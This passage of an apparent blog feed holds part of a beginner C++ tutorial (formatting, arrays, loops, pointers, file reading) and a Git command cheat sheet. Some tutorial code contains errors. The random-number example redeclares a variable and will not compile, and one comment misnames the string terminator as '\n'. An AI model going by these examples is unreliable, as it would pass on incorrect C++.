    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Josh&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Carr&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt;&amp;quot;27&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Izaiah&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Robinson&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;29&amp;quot; &amp;lt;&amp;lt; std::endl;
    
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;Table with fill characters :
Lastname************Firstname***********Age*******
Daniel**************Gray****************25********
Stanley*************Woods***************33********
Jordan**************Parker**************45********
Joe*****************Ball****************21********
Josh****************Carr****************27********
Izaiah**************Robinson************29********
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-6-boolalpha-and-noboolapha&quot;&gt;3.6 boolalpha and noboolapha&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;control bool output format : 1&#x2F;0 or true&#x2F;false&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;noboolalpha : 0&#x2F;1&lt;&#x2F;li&gt;
&lt;li&gt;boolalpha : True&#x2F;False&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;bool condition {true};
    bool other_condition {false};
    
    std::cout &amp;lt;&amp;lt; &amp;quot;condition : &amp;quot; &amp;lt;&amp;lt; condition &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;other_condition : &amp;quot; &amp;lt;&amp;lt; other_condition &amp;lt;&amp;lt; std::endl;
    
    std::cout &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::boolalpha;
    std::cout &amp;lt;&amp;lt; &amp;quot;condition : &amp;quot; &amp;lt;&amp;lt; condition &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;other_condition : &amp;quot; &amp;lt;&amp;lt; other_condition &amp;lt;&amp;lt; std::endl;
    
    std::cout &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::noboolalpha;
    std::cout &amp;lt;&amp;lt; &amp;quot;condition : &amp;quot; &amp;lt;&amp;lt; condition &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;other_condition : &amp;quot; &amp;lt;&amp;lt; other_condition &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-arrays&quot;&gt;4. Arrays&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;4-1-declaration&quot;&gt;4.1 Declaration&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int array_name[9]

char message4 [] {&amp;quot;Hello&amp;quot;};

char message [6] {&amp;quot;Hello&amp;quot;}; &amp;#x2F;&amp;#x2F; 6 with the &amp;#x27;\n&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-2-declare-and-initialize-at-the-same-time&quot;&gt;4.2 Declare and initialize at the same time&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; omit the size declaration
int class_sizes[] {10,12,15,11,18,17,23,56}; 

double salaries[5] {12.7, 7.5, 13.2, 8.1, 9.3};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-3-reading&quot;&gt;4.3 Reading&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std:: cout &amp;lt;&amp;lt; &amp;quot; scores [0] : &amp;quot; &amp;lt;&amp;lt; scores[0] &amp;lt;&amp;lt; std::endl;
std:: cout &amp;lt;&amp;lt; &amp;quot; scores [1] : &amp;quot; &amp;lt;&amp;lt; scores[1] &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-4-read-only-arrays&quot;&gt;4.4 Read Only Arrays&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;const int birds[] {10,12,15,11,18,17,23,56};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-5-size-of&quot;&gt;4.5 size of&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;   int scores [] {1,2,5};
   std::cout &amp;lt;&amp;lt; &amp;quot;sizeof(scores) : &amp;quot; &amp;lt;&amp;lt; sizeof(scores) &amp;lt;&amp;lt; std::endl;  &amp;#x2F;&amp;#x2F; 12
   std::cout &amp;lt;&amp;lt; &amp;quot;sizeof(scores[0]) : &amp;quot; &amp;lt;&amp;lt; sizeof(scores[0]) &amp;lt;&amp;lt; std::endl;  &amp;#x2F;&amp;#x2F; 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-multi-dimensional-arrays&quot;&gt;5. Multi-Dimensional Arrays&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;5-1-2d-arrays&quot;&gt;5.1 2D Arrays&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){

    int packages [] [4] {
        {1,2,3,4},
        {5,6,7,8},
        {9,10,11,12},
        {3,4,5,6}
    };

    &amp;#x2F;&amp;#x2F;Read data from a 2D array
    for(size_t i{0} ; i &amp;lt; 3; ++ i){
        for(size_t j{0}; j &amp;lt; 4 ; ++j){
            std::cout &amp;lt;&amp;lt; packages[i][j] &amp;lt;&amp;lt; &amp;quot;   &amp;quot;;
        }
        std::cout &amp;lt;&amp;lt; std::endl;
    }

   &amp;#x2F;&amp;#x2F;Use std::size to query the size of array dimensions
    for(size_t i{0} ; i &amp;lt; std::size(packages); ++ i){
        for(size_t j{0}; j &amp;lt; std::size(packages[i])  ; ++j){
            std::cout &amp;lt;&amp;lt; packages[i][j] &amp;lt;&amp;lt; &amp;quot;   &amp;quot;;
        }
        std::cout &amp;lt;&amp;lt; std::endl;
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-2-3d-arrays&quot;&gt;5.2 3D Arrays&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){

	&amp;#x2F;&amp;#x2F;3D arrays are defined in the same way. We just use three sets of indexes
    &amp;#x2F;&amp;#x2F; 3 lights per room, 5 rooms per house 7 houses per block
    int house_block [7] [5] [3] {
        {
            {1,2,3},{4,5,6},{7,8,9},{10,11,12},{13,14,15} 
        },
        {
            {16,17,18},{19,20,21},{22,23,24},{25,26,27},{28,29,30}  
        },
        {
            { 31,32,33},{34,35,36},{37,38,39},{40,41,42},{43,44,45} 
        },
        {
             {46,47,48},{49,50,51},{52,53,54},{55,56,57},{58,59,60}  
        },
        {
             {61,62,63},{64,65,66},{67,68,69},{70,71,72},{73,74,75} 
        },
        {
            {76,77,78},{79,80,81},{82,83,84},{85,86,87},{88,89,90}  
        },
        {
             {91,92,93},{94,95,96},{97,98,99},{100,101,102},{103,104,105} 
        }
    };

    for(size_t i{0}; i &amp;lt; std::size(house_block) ; ++i){

        for(size_t j{0} ; j &amp;lt; std::size(house_block[i]) ; ++j){

            for(size_t k{0} ; k &amp;lt; std::size(house_block[i][j]) ; ++k){

                std::cout &amp;lt;&amp;lt; house_block[i][j][k] &amp;lt;&amp;lt; &amp;quot;     &amp;quot;;
            }
        }
    }
   
	&amp;#x2F;&amp;#x2F;For 3d and really any multi dimensional array , you have to specify
	&amp;#x2F;&amp;#x2F;the number of elements in []&amp;#x27;s , only the left most is not mandatory.
	&amp;#x2F;&amp;#x2F;Below is the example for 3D reproduced.Omitting the 5 or the 3 or both
	&amp;#x2F;&amp;#x2F;will cause a compile error.
    int house_block1 [] [5] [3] {
        
        {
            {1,2,3},{4,5,6},{7,8,9},{10,11,12},{13,14,15} 
        },
        {
            {16,17,18},{19,20,21},{22,23,24},{25,26,27},{28,29,30}  
        },
        {
            { 31,32,33},{34,35,36},{37,38,39},{40,41,42},{43,44,45} 
        },
        {
             {46,47,48},{49,50,51},{52,53,54},{55,56,57},{58,59,60}  
        }
          
    };

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-3-multi-dimensional-arrays-with-characters&quot;&gt;5.3 Multi-Dimensional Arrays with characters&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){

	const size_t name_length{15};
	
    char members [][name_length] {
        {&amp;#x27;J&amp;#x27;,&amp;#x27;o&amp;#x27;,&amp;#x27;h&amp;#x27;,&amp;#x27;n&amp;#x27;},
        {&amp;#x27;S&amp;#x27;,&amp;#x27;a&amp;#x27;,&amp;#x27;m&amp;#x27;,&amp;#x27;u&amp;#x27;,&amp;#x27;e&amp;#x27;,&amp;#x27;l&amp;#x27;,},
        {&amp;#x27;R&amp;#x27;,&amp;#x27;a&amp;#x27;,&amp;#x27;s&amp;#x27;,&amp;#x27;h&amp;#x27;,&amp;#x27;i&amp;#x27;,&amp;#x27;d&amp;#x27;},
        {&amp;#x27;R&amp;#x27;,&amp;#x27;o&amp;#x27;,&amp;#x27;d&amp;#x27;,&amp;#x27;r&amp;#x27;,&amp;#x27;i&amp;#x27;,&amp;#x27;g&amp;#x27;,&amp;#x27;e&amp;#x27;,&amp;#x27;z&amp;#x27;}
    };

	&amp;#x2F;&amp;#x2F;Better : Using C-string litterals
	&amp;#x2F;&amp;#x2F;Compared to initialization with charactes with in &amp;#x27;&amp;#x27;, this
	&amp;#x2F;&amp;#x2F; is even easier to type. The entire string is a single entity 
	&amp;#x2F;&amp;#x2F;you can manage easily.
    
    char members1 [][name_length] {
        &amp;quot;John&amp;quot;,
        &amp;quot;Samuel&amp;quot;,
        &amp;quot;Rashid&amp;quot;,
        &amp;quot;Rodriguez&amp;quot;
    };
    
    &amp;#x2F;&amp;#x2F;Printing out members1
    std::cout &amp;lt;&amp;lt; &amp;quot;Printing out members1 (C-string literals) : &amp;quot; &amp;lt;&amp;lt; std::endl;
    for (size_t i {0}; i &amp;lt; std::size(members1) ; ++i){
        std::cout &amp;lt;&amp;lt; members1[i] &amp;lt;&amp;lt; std::endl;
    }
    
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-generating-random-numbers&quot;&gt;6. Generating Random Numbers&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;ctime&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

int main(){

    std::srand(std::time(0)); &amp;#x2F;&amp;#x2F; Seed

    int random_num = std::rand();
    std::cout &amp;lt;&amp;lt; &amp;quot;random_num : &amp;quot; &amp;lt;&amp;lt; random_num &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; 0 ~ RAND_MAX

    &amp;#x2F;&amp;#x2F; Generate random numbers in a loop
    int random_num;
    for(size_t i {0} ; i &amp;lt; 20 ; ++i){
        random_num = std::rand();
        std::cout &amp;lt;&amp;lt; &amp;quot;random_num &amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;:&amp;quot; &amp;lt;&amp;lt;  random_num &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; 0 ~ RAND_MAX       
    }
    
    &amp;#x2F;&amp;#x2F; Generate a range between 0 and 10
    int random_num =  std::rand() % 11;                  &amp;#x2F;&amp;#x2F; [ 0 ~10]
    for(size_t i {0} ; i &amp;lt; 20 ; ++i){
        random_num = std::rand() % 11;
        std::cout &amp;lt;&amp;lt; &amp;quot;random_num &amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;  :   &amp;quot; &amp;lt;&amp;lt;  random_num &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; 0 ~ RAND_MAX       
    }

    &amp;#x2F;&amp;#x2F; Generate a range between 1 and 10
    int random_num = std::rand() % 10 + 1 ; &amp;#x2F;&amp;#x2F; [1~10]
    for(size_t i {0} ; i &amp;lt; 20 ; ++i){
        random_num = std::rand() % 10 + 1;
        std::cout &amp;lt;&amp;lt; &amp;quot;random_num &amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;  :   &amp;quot; &amp;lt;&amp;lt;  random_num &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; 0 ~ RAND_MAX       
    }
   
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-for-loops&quot;&gt;7. For Loops&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;for( unsigned int i{0} ; i &amp;lt; 10000 ;++i){
    &amp;#x2F;&amp;#x2F;Whatever we want the loop to run
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-1-multiple-declaration&quot;&gt;7.1 Multiple declaration&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;for (size_t i{0} , x {5}, y{22} ; y &amp;gt; 15 ; ++i , x+=5 , y-=1){
    std::cout &amp;lt;&amp;lt; &amp;quot;i: &amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;, x : &amp;quot; &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &amp;quot;, y : &amp;quot; &amp;lt;&amp;lt; y &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-2-range-based-for-loops&quot;&gt;7.2 Range Based For loops&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int bag_of_values [] {1,2,3,4,5,6,7,8,9,10};

for (int value : bag_of_values){
    std::cout &amp;lt;&amp;lt; &amp;quot; value : &amp;quot; &amp;lt;&amp;lt; value &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;for (int value : {1,2,3,4,5,6,7,8,9,10}){
    std::cout &amp;lt;&amp;lt; &amp;quot; value : &amp;quot; &amp;lt;&amp;lt; value &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;8-while-loops&quot;&gt;8. While Loops&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){
    const size_t COUNT{100};
    size_t i{0}; &amp;#x2F;&amp;#x2F; Iterator declaration

    while(i &amp;lt; COUNT ){ &amp;#x2F;&amp;#x2F; Test
       std::cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot; : I love C++&amp;quot; &amp;lt;&amp;lt; std::endl;

       ++i; &amp;#x2F;&amp;#x2F; Incrementation 
    }
   
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;8-1-do-while-loops&quot;&gt;8.1 Do While Loops&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main(){
    const int COUNT{0};
    size_t i{0}; &amp;#x2F;&amp;#x2F; Iterator declaration

    do{
        std::cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot; : I love C++&amp;quot; &amp;lt;&amp;lt; std::endl;
        ++i; &amp;#x2F;&amp;#x2F; Incrementation
    }while( i &amp;lt; COUNT);

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;9-break-continue-loops&quot;&gt;9. Break &amp;amp; Continue Loops&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;    const size_t COUNT{20};

    for(size_t i{0} ; i &amp;lt; COUNT ; ++i ){

        if(i==5)
            continue;

        if(i == 11)
            break; &amp;#x2F;&amp;#x2F; Breaks out of the loop
        std::cout &amp;lt;&amp;lt; &amp;quot;i : &amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; std::endl;
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;10-pointers&quot;&gt;10. Pointers&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;10-1-declaring&quot;&gt;10.1 Declaring&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;    &amp;#x2F;&amp;#x2F;Declare and initialize pointer
    int* p_number {}; &amp;#x2F;&amp;#x2F; Will initialize with nullptr
    double*  p_fractional_number{};

    &amp;#x2F;&amp;#x2F;Explicitly initialize with nullptr
    int* p_number1{nullptr};
    int* p_fractional_number1{nullptr};

    &amp;#x2F;&amp;#x2F;It doesn&amp;#x27;t matter if you put the * close to data type or to varible name
    int*  p_number2{nullptr};
    int * p_number3{nullptr};
    int  *p_number4{nullptr};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;10-2-assigning&quot;&gt;10.2 Assigning&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;    int int_var {43};
    int *p_int{&amp;amp;int_var};&amp;#x2F;&amp;#x2F; The address of operator (&amp;amp;);

    &amp;#x2F;&amp;#x2F;Can&amp;#x27;t cross assign between pointers of different types
    int *p_int1{nullptr};
    double double_var{33}; &amp;#x2F;&amp;#x2F; Compile Error
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;11-file-reader&quot;&gt;11. File Reader&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;fstream&amp;gt;
#include &amp;lt;string&amp;gt;

int main (){
    std::ifstream myfile;
    myfile.open(&amp;quot;demo.txt&amp;quot;);
    std::string myline;

    if ( myfile.is_open() ) {

        while ( myfile ) { &amp;#x2F;&amp;#x2F; equivalent to myfile.good()
            std::getline (myfile, myline);
            std::cout &amp;lt;&amp;lt; myline &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
        }
        
    }
    else {
        std::cout &amp;lt;&amp;lt; &amp;quot;Couldn&amp;#x27;t open file\n&amp;quot;;
    }

return 0;      
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Thats it for day 3, hope you enjoyed the content.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Git CLI Commands</title>
        <published>2024-05-08T00:00:00+00:00</published>
        <updated>2024-05-08T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/git-cli-commands/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/git-cli-commands/</id>
        <content type="html">&lt;h2 id=&quot;1-initializing-git&quot;&gt;1. Initializing Git&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git init .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-staging-and-unstaging-files&quot;&gt;2. Staging and Unstaging Files&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git add .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;git reset .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-committing&quot;&gt;3. Committing&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git commit -m &amp;quot;commit message&amp;quot; &amp;quot;commit description(optional)&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-setting-remote-repositories&quot;&gt;4. Setting Remote Repositories&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Adding Remote Repositories&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git remote add origin https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;somewhere&amp;#x2F;something.git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Listing remote repositories&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git remote -v
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Setting the git upstream (default location to push commits)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git push -u origin master

OR

git push --set-upstream origin branch_name
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-git-branches&quot;&gt;5. Git Branches&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Listing the branches&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git branch
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Switch between branches&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git checkout -b branch_name
git checkout - (moves to the previous branch)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Deleting branches&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git branch -d branch_name
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-merging&quot;&gt;6. Merging&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Merging a branch to the master branch&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git merge branch_name 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-squashing&quot;&gt;7. Squashing&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Merge all the commits in a branch as a single commit&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;git merge branch_name --squash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;8-pulling&quot;&gt;8. Pulling&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git pull origin master
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;9-combining-add-commit&quot;&gt;9. Combining add &amp;amp; commit&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git commit -am &amp;quot;commit message here&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;10-git-aliases&quot;&gt;10. Git Aliases&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git config --global alias.command_name &amp;quot;command -am&amp;quot;

AND

git config --global alias.command !better-command.sh : execute a script
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;11-amend&quot;&gt;11. Amend&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Add files to the last commit (–no-edit : keep the last commit message)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git commit --amend --no-edit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Change the last commit message&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git commit --amend -m &amp;quot;new commit msg&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;12-force-push&quot;&gt;12. Force Push&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;overwrite history on remote&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;git push origin master --force
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;13-revert&quot;&gt;13. Revert&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Undo a commit with a new commit&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;git revert undoed_better_commit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;14-stash&quot;&gt;14. Stash&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;will remove the newly made changes from the current working directory and save them for later use without committing them to the repository&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Stashing&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git stash --all
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Getting the stashed changes back&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git stash pop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Stashing with a name&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git stash save stashing_name
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Listing the stash&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git stash list
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Getting the &lt;code&gt;named&lt;&#x2F;code&gt; stashed changes back&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;git stash apply index_number_from_the_stashed_list
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;15-renaming-the-master-branch&quot;&gt;15. Renaming the Master Branch&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git branch -M mucho
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;16-pretty-git-logs&quot;&gt;16. Pretty Git Logs&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git log --graph --oneline --decorate
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;17-diffing&quot;&gt;17. Diffing&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;git diff branch_name&amp;#x2F;change_name
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;18-patching&quot;&gt;18. Patching&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;selecting only a few changes manually in a file without staging the whole file&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;git add -p change_name
